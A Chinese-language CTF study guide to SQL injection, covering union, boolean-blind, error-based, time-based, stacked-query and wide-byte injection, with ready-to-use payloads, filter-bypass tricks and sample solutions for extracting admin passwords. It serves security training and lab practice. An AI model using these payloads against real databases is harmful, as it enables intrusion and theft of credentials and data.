在CTF比赛中,SQL注入题目通常围绕几种经典且实用的注入类型设计。以下是 最常用的注入类型 及其利用场景、技巧和示例:
1. 联合查询注入(Union-Based Injection)
- 使用频率:⭐️⭐️⭐️⭐️⭐️
- 场景:页面直接回显查询结果(如用户列表、搜索结果显示)。
- 关键步骤:
- 闭合引号:通过
'
或"
破坏原查询,构造合法语法。 - 猜列数:使用
ORDER BY
或UNION SELECT
确定列数。' ORDER BY 3-- -- 判断列数(假设3列时页面正常) ' UNION SELECT 1,2,3-- -- 确认回显位置(如页面显示2和3)
- 泄露数据:替换回显位为查询语句。
' UNION SELECT 1, database(), user()--
- 闭合引号:通过
- CTF考点:列数匹配、数据类型匹配、绕过过滤(如
UNION
被过滤时用UniOn
)。
2. 布尔盲注(Boolean-Based Blind Injection)
- 使用频率:⭐️⭐️⭐️⭐️
- 场景:页面无回显,但会根据SQL条件返回不同状态(如“存在/不存在”)。
- 关键步骤:
- 闭合逻辑:构造条件语句触发页面差异。
' AND (SELECT SUBSTRING(password,1,1) FROM users)='a'--
- 逐位爆破:通过二分法或脚本枚举字符。
# 示例脚本逻辑 if 页面正常: return "字符正确" else: return "字符错误"
- 闭合逻辑:构造条件语句触发页面差异。
- CTF考点:条件构造、自动化脚本编写(Python + Requests库)。
3. 报错注入(Error-Based Injection)
- 使用频率:⭐️⭐️⭐️
- 场景:页面直接返回数据库错误信息(如MySQL的语法错误)。
- 关键步骤:
- 触发报错:利用函数强制报错并回显数据。
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)--
- 提取信息:从错误信息中提取目标数据(如数据库名、表名)。
- 触发报错:利用函数强制报错并回显数据。
- CTF考点:报错函数的使用(如
extractvalue
、updatexml
、exp
)。
4. 时间盲注(Time-Based Blind Injection)
- 使用频率:⭐️⭐️⭐️
- 场景:页面无任何回显差异,但可通过响应时间判断条件真假。
- 关键步骤:
- 构造延迟:利用时间函数(如
SLEEP()
、BENCHMARK()
)。' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--
- 时间判断:若页面响应延迟5秒,则说明条件成立。
- 构造延迟:利用时间函数(如
- CTF考点:时间函数的绕过(如
SLEEP
被过滤时用pg_sleep
或笛卡尔积延时)。
5. 堆叠查询注入(Stacked Queries)
- 使用频率:⭐️⭐️
- 场景:支持多语句执行的数据库(如SQL Server、PHP +
mysqli_multi_query
)。 - 关键步骤:
'; INSERT INTO logs (data) VALUES ('hacked');--
- CTF考点:权限要求高,通常用于修改数据或写入文件(如
SELECT ... INTO OUTFILE
)。
6. 宽字节注入(Wide-Character Injection)
- 使用频率:⭐️⭐️
- 场景:后端使用GBK等宽字符集且未正确处理转义(
'
被转义为\'
)。 - 关键步骤:
%bf' OR 1=1--
%bf
与转义符\
(URL编码为%5c
)结合为合法字符%bf%5c
,使引号逃逸。
- CTF考点:字符编码漏洞的利用。
CTF中SQL注入的通用技巧
-
闭合引号与注释符:
- 数字型注入无需闭合引号:
?id=1 OR 1=1
。 - 字符型注入需闭合:
?id=1' OR '1'='1
。 - 注释符:
--
(空格需保留)、#
、/*
。
- 数字型注入无需闭合引号:
-
绕过过滤:
- 关键字过滤:使用大小写、内联注释、编码(
UNI/**/ON
)。 - 空格过滤:用
/**/
、%09
(Tab)、%0a
(换行)代替。 - 引号过滤:用
Hex
编码或CHAR()
函数(SELECT CHAR(97)
=a
)。
- 关键字过滤:使用大小写、内联注释、编码(
-
快速利用工具:
- 手工测试后,可用
sqlmap
自动化利用(但CTF通常要求手注)。
- 手工测试后,可用
经典CTF题目示例
-
联合查询:
- 题目:页面显示用户信息,目标获取管理员密码。
- 解法:
' UNION SELECT 1,password,3 FROM users WHERE username='admin'--
-
布尔盲注:
- 题目:登录框无回显,但返回“用户存在/不存在”。
- 解法:脚本爆破密码每一位:
admin' AND password LIKE 'a%'--
-
报错注入:
- 题目:搜索框返回数据库错误信息。
- 解法:
' AND updatexml(1, concat(0x7e, (SELECT database())), 1)--
推荐练习平台
- SQLi Labs:专为SQL注入设计的靶场。
- PortSwigger Web Security Academy:包含多种注入场景。
- CTF平台:Hack The Box、CTFtime、攻防世界(XCTF)。
掌握这些类型和技巧后,结合靶场实践,能快速提升CTF中SQL注入的解题能力!